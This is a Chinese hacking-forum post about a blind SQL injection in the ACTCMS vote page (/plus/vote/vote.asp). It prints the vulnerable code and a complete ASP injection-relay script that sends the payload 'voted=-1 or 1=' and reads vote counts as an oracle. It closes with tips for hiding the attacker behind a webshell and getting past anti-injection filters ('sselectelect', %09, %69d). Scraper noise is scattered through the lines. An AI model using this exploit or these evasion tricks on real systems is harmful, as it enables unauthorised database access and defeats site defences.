找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2035|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
& G2 c8 `+ i( z9 }: x! E) `- }
看到ninty大牛的blog的一篇文章* |' {  N; m* V) Y
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
. T! ^5 h8 Z( q6 s关于actcms漏洞的利用  by 3x qq:381862589' K" R( o, S* O1 `" E
转载请注明以上
! I1 ]: }1 Q/ R, E4 m漏洞文件:
" x' M, J3 f4 F! r+ u9 S/plus/vote/vote.asp" o' ~. \3 r; G2 J
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
7 Q/ a& m0 i5 r9 `8 ^" A
1 Q' K" ?0 h9 Q/ M2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   1 \" p! r3 N6 K* `( I

7 Y/ A0 m$ F  h; ^) ^3    response.end    ! P, u7 m1 @  e  w8 H* {: n

; b6 Z* z+ q# d, a& {$ j/ L: a& `4    end if   
+ G5 ~+ o; C1 @; d( j; Y6 r. ~8 x! `7 L( H
5    for i=1 to request("voted").count   
; ]: ^! X/ q  `9 x
* u/ V2 g6 B& p! @6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    - [8 T( E7 e3 K. s, @. T/ r8 T
$ i9 L) N% K# O. b
7    next    0 Y" q8 b% J* a! Z$ J" p8 v4 Q( l+ b
3 r0 u6 `/ E! ~& N1 y7 z' I; Q4 u
8....    + j* Q0 `8 J$ w4 H; G# p4 @
0 ~; a. \4 x; m+ s6 `+ o8 q
9response.Redirect "index.asp?id="&id&""   
% H. B+ O5 E9 z% v投票结束回跳转回index.asp这个投票结果页面
5 f% d5 l: t4 W, n4 }" J! y. n: x如果投票成功票数加16 m. }9 Z! s* W
            失败票数不变
# m, Q- n+ T: x如图:: H4 ^+ g$ B5 u- R# a# b
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)# B: G6 g9 h% [; [
# z# R0 o( ~7 `# ~5 w& Z
2009-12-27 13:20) M, i$ n& G& C

9 a0 `) I0 p; ~; F2 h* h0 M2 V3 n+ h利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了# N& F/ `! {8 D1 d3 D! p" y
' m6 W3 U. ?, T6 D
本帖隐藏的内容需要回复才可以浏览
/ P( c5 D: d- ^0 m我们用注入中转来实现这个注入具体代码如下:* ]# a+ F7 C7 q
先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ q% F8 [% ^: x, q注入地址:http://localhost/actcms/plus/vote/vote.asp
- i: d/ V! _6 r* N# R注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
# W( J& ^" U* n9 e
' i% p% }+ q7 S! v然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
( _8 R, f( ]+ z+ E* Z! M; m4 @- I7 P% M
02JmdcwName=request("jmdcw")
6 h3 V. ]2 V( x7 W  l9 r# f  e1 S) W, a' t0 o
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 6 w5 P- ^& ?3 d1 C9 r4 P7 O
; E* X6 ?! L3 v) [) ~( c6 f! [6 z$ `
04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 a  S4 x% Y) d) G& B- E6 L  F+ j- z: ^$ |- g. C
05JmStr=URLEncoding(JmStr)
5 T/ }: W2 {( A9 Z9 w# C+ g7 u0 ]7 g2 ]
* h& }1 H  e. w06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- H* @, K9 j* z. A# t- ?$ Y8 B% q

  ~* r; n& N* g" N07testurl="链接标记http://localhost/actcms/plus/vote/index.asp") i. R0 ~, L5 K7 U; a- [( ~5 w: m
/ W. X7 t1 W5 t4 G8 p4 h
08testurl=testurl & "?" & JmStr + C! E8 K7 Z8 U1 V0 w

& N2 x( ]. l5 C1 d  p' q, `5 n09JMUrl=JMUrl & "?" & JmStr . K2 T9 {7 |  A% H+ f6 ]

* e7 O# t* _6 B6 [, d) ?10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 J; c9 \2 g2 ~
4 Y1 b! ^' p; q: j6 _: ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"5 e$ i1 P& i- S% x) \
+ D0 F8 k, i+ p+ P# ~9 a) c
12JmCok=replace(JmCok,chr(32),"%20")  - p* s  n, L6 V0 k: F2 O; \
! Q& f. I, l( S% f5 G' C
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 , z, y+ o5 |8 Z) u2 J
" ?/ R  t6 `+ K
14  ; N& x7 X% A6 n. X/ u0 g! o

, ~6 l; U8 L8 X; y4 e/ g9 t15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 0 K3 V' Z, z! K( S
$ B5 _2 `0 v: q/ r9 C7 ?
16  
3 n% R9 J  V: b1 z0 n: R
" u- t4 m, \4 Z0 T( d2 f# s, e17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 9 ~# e+ N2 s& }, G

- I2 C+ x7 h$ A/ I7 k18response.write test1&""&test2&""' n& ?* W, J9 b% Q0 l

  _5 [; W0 R2 c4 K, b19  2 f" E3 U0 W5 J8 k& A6 |9 a
+ [. c$ c5 b9 j
20if test1=test2 then '如前后记录相等,表示失败 ' }" @, w/ ~( l. \' K
4 g) n; n6 D6 q
21  response.write "failed"  v5 v( n4 m7 g; w
- r8 I. P* E' L1 |7 o2 C( J
22else : E" K2 P0 O# X
. h8 q. b  S; W: W* _4 q) |
23  response.write "succeed"
8 y% o8 E2 Y% R' ~0 i
  t& O9 J4 N: Y7 W24end if  
" \4 M2 V" A6 g  U* a
7 z" D1 {. ~- ?: k  N25  
. p9 ]& f) n3 Z/ A6 |
! j9 M  T' }) F5 `. n% [! u5 `26response.write "by 3x"
4 D+ Q0 W4 ]% V# [) e2 X$ l+ q$ l
27  ( G. v1 \. j+ W, S" O# H
+ [1 _  O# N" ?# ?: |
28  0 H% B0 s+ ]& K8 ?6 R# Z

8 \. |! h9 W3 o8 O0 S$ f29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
) b' Y4 e& D* J
+ k) V4 P: Q6 U  r6 Q+ _* Z30Dim Http
9 \1 k5 a& t% U/ m$ G6 V7 Q- o# `8 V7 X
5 y0 u' i4 N5 t7 `31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ! D# L+ T6 e5 n) G: m7 P6 m

- n3 z% W- X7 Y& X7 I) U32With Http 6 P7 C, l* F/ _( T; {% Q8 z

" D& z7 Z$ C( }; M* P. D33  
; H8 `6 Q! M: C6 ^2 @) L: F& f
) ?1 p9 z, T. Z* O( _% }3 m- c34.Open "GET",PostUrl,False
( ^( l. r" c. U  X+ W  Q4 Z" p+ R. i. L: d- Q
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 I. S: j& v- D) t
* B4 T" n( @  c$ D7 {% s$ J36.SetRequestHeader "Referer",PostRef
. }1 n  F) Z! |7 ]% P# N: H( s5 P1 L* O# p0 S7 A/ X
37.SetRequestHeader "Cookie",PostCok
& |0 t- L, A5 A1 u6 r' H4 Y+ |: p0 T: h% p7 Y$ X
38.Send ()
3 L: n* c' H* ^. s: x9 Q
% Q* s" s: P1 L# D" A. a0 Y" x39PostData = .ResponseBody / E0 X% d; X, u2 o& Y8 {$ ]
# b( e/ h& t& V& a8 K
40End With5 \2 t) J0 V$ J- j! s! t* X
/ N* q$ j$ ^1 V9 i! T1 X
41Set Http = Nothing3 b' `/ x& p6 e8 p. O

. {6 v! c0 y2 ]4 }1 I42PostData =bytes2BSTR(PostData)
# h4 P! V% y$ S8 [4 ^2 R; W  U; o+ n' j9 j9 a& T3 {# F; \4 u7 Y
43End Function7 I) v" m1 u9 k
$ W5 H: e2 D/ }, @. p, U
44  ( T7 f6 m4 g' w
2 w- J0 ?# K/ h- Z( o
45  / I1 ]3 v# P, f" ]% [

" i6 m; l# z3 n, d46Function bytes2BSTR(vIn)
* Y& h- ?7 f6 T9 ~" n8 U" h2 W
  O6 ^, Q- X/ b; V47Dim strReturn
/ K# N  }; r7 ?! I- m% P5 ]6 Y% g+ Z
48Dim I, ThisCharCode, NextCharCode
* _, f& |& |$ s/ u# P' P
  t! ^4 r) I) [8 J* P: Y49strReturn = ""
$ G+ S; a& E/ |2 n- N1 r2 a; |
; P6 a5 C' w- ]; S50For I = 1 To LenB(vIn)
0 F3 k4 }( s' C; D: G: g6 H9 P7 c0 }; V8 ~, S5 H
51ThisCharCode = AscB(MidB(vIn, I, 1))
- \' N7 o! }5 U8 u4 C, C! a# B- k( i" {/ G; B5 Z5 X8 k
52If ThisCharCode < &H80 Then7 h9 f  s3 |3 t

) _- Y/ x. {1 Y5 F( v" f. ~53strReturn = strReturn & Chr(ThisCharCode)
7 r/ [- n( d0 x4 a; N- o; \# o9 I2 S, g9 g
54Else
$ Q6 K# e: x2 M, Q! I9 p6 T/ a; X9 W# P2 c) L+ r
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) $ T" Q+ D6 s2 e8 y/ s" {

; d+ _4 k6 n" y0 b* x* F56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
7 M) I' d: u: p7 G2 Z8 b
4 J, X1 \& \+ o' B57I = I + 1 & P2 s( `. |; N. h

% j- P$ L. |1 R* K. T58End If# d8 H7 F4 j0 S  W6 U3 R
4 E, k4 W: y! S: H+ ~% i
59Next& U, s2 h: {- l
( i, g/ r0 i# }9 N
60bytes2BSTR = strReturn
5 e" a- H, X- Y  }$ b
  a5 f  H* X* a' L5 ~61End Function2 K0 J! Y$ P( k7 q% _! I) V
7 _0 z1 f4 Q/ }' b, a% s- A; k
62  
( ]2 o( O6 H8 P6 t" y1 I9 B4 j- u7 O$ Y  q% P0 R7 r
63Function URLEncoding(vstrin)  
: v8 F8 ]' M) p2 }- y) e& Y
" t' L5 ^) P/ y; T64strReturn=""
4 d, V* u  g! h; M2 f; ^1 g: H" \  J' J, q9 w. w* p+ q
65Dim i ) f9 ]' I6 Z& Z, M2 _# g

' {  F; k1 E# ^9 B! K! _7 X! s, w66For i=1 To Len(vstrin)
/ c5 u$ _) o/ R+ C- V) H" l  B& R- H0 V% C! j" ~
67ThisChr=Mid(vstrin,i,1)
( }2 t0 n4 r+ {5 B' N" m* p* f+ ]$ p0 \
68if Abs(Asc(ThisChr))< &HFF Then
$ ]; j2 Q+ d! ^$ D
& x, I  s. g$ {' A) ^69strReturn=strReturn & ThisChr & V: F, K6 n3 j7 g' c: M* T" ^
1 P! x7 z, B6 s) m( z9 e' C
70Else$ f( r/ ]  P. H/ @+ |0 Z

5 }- ?# C9 {9 l! W( Q71InnerCode=Asc(ThisChr) 1 b  ~) Y! ?& x+ X- X, T8 }

6 L1 i6 h% N% }2 ~72If InnerCode<0 Then6 |' Y0 s' \0 R6 M, ?7 n& e

0 ]  \9 Q+ H/ \& X' @; V- G73InnerCode=InnerCode + &H10000 0 l+ _1 `( R5 e/ `
6 |( ?, }8 U" h7 ^' G; }
74End If
2 W3 H. V8 z7 |. R  y: V/ k8 z* t/ M& |& A: x
75Hight1=(InnerCode And &HFF00) \&HFF " K0 J; _' B' y2 p2 L9 D$ `" A( B' Z

# m* `6 E# F+ }; M  P- w76Low1=InnerCode And &HFF
" u' {# |5 p' B- X, |
8 Z' Z9 O2 w, f" Y" I3 j; c" v8 l* e( }77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) # D: a4 F5 I$ r( |
( b; r4 m3 Q5 s+ v. ]: E5 `, W
78End if
: m; l- k9 `, a4 ^3 Q! L* X, F) S2 O- }3 Y- x) `- q. D0 ]+ i% I
79Next
7 n- J3 L7 b; X; m9 d: g2 p
; A- j( s  b0 ~' b80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% X0 b  ^6 P" m3 \( Y4 |' W0 \. R0 h6 D5 ]: J7 @. m
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
  l5 q* P5 @# q$ N( G! ?6 `. \7 y5 r& F. ]
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 7 V" h; Z+ |7 t
$ e4 z5 u' w( o1 y
83URLEncoding=strReturn
  @7 X# Z/ r6 x+ r( E) ]% c, ?
  u0 q* N; I' T. ?: E9 x/ B84End Function- z$ {- C4 b- S, f. M
9 a% r  _/ r2 O) T: h6 a
85  
: c1 f5 r0 L4 }
! X$ P+ I# M6 ?4 x7 v86function getSt(body) ( k/ ]6 V7 D9 ?9 i& L5 ^: ?, D  x
$ i5 w( q" C- x4 a' I3 \" F
87  startpot=instr(body,"投票人数:")+len("投票人数:")
6 B0 k: S8 o9 v, B; P
1 B8 `& z! O% N# s$ `0 l88  endpot=instr(startpot,body," ") - ?( e0 P( ]2 T5 l) ?

$ O: ^7 t& r' x$ X0 ^89  getSt=mid(body,startpot,endpot-startpot) 7 e# ^( W: t. V6 f3 w

: `7 u4 w1 Z3 S" G* H90end function , Z3 \& G! b' G! \% O+ @$ q& B
1 Q, ~; I+ o1 ?% Z
91%>
  Z1 w- \/ r2 j& F3 _注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
2 D7 f0 d( y. F7 R1 a( f0 ~: a" w& @测试下效果:' h3 x% U+ a- q* J8 X& K
投票成功:
4 L6 W/ u0 w( [8 `% n1 k. ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB); j% D% ]# C  N& M) n3 H
) m, k$ ^' t4 ]6 T6 b! c$ g
2009-12-27 13:297 n( P# S4 w" M. v/ ^) q  l/ s& \
投票失败. T/ X% D/ m* l
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)' H% A; J1 w) N4 W6 U

* f6 R* R1 U8 u" K3 i# m, E2009-12-27 13:291 E0 d( Q* S% S% G1 {
-------------------------------------------------------------------------------
, N6 h$ d- g: L+ c3 S- z( ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以/ p  Z1 |; x+ Z+ }. G' N
很抱歉。。。只能用单线程工具去注入。。。。。
  j4 {4 O' ^3 S3 V: k- l4 s# @所以失败。。。不好意思。。。1 v2 A: ^5 @3 q, i1 U
-------------------------------------------------------------------------------
, c! ]2 @6 Z7 f. K/ f* j  Z" }+ ~( R% i/ a& H& s- E
注入中转的一些其他应用
5 M0 _  m5 l3 l6 u; @其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了% I& j. X- J0 }& I5 v
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
. r; a3 G# B: b7 z# C! w. N  c2.post注入转成get型的注入,方便我们使用工具来跑, i) W7 P: e7 U
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")+ V4 @' G5 l0 h7 B2 _+ f* j
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ x2 H( ]$ d" \2 a) E
" _2 `6 R, v7 s, \  J% s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表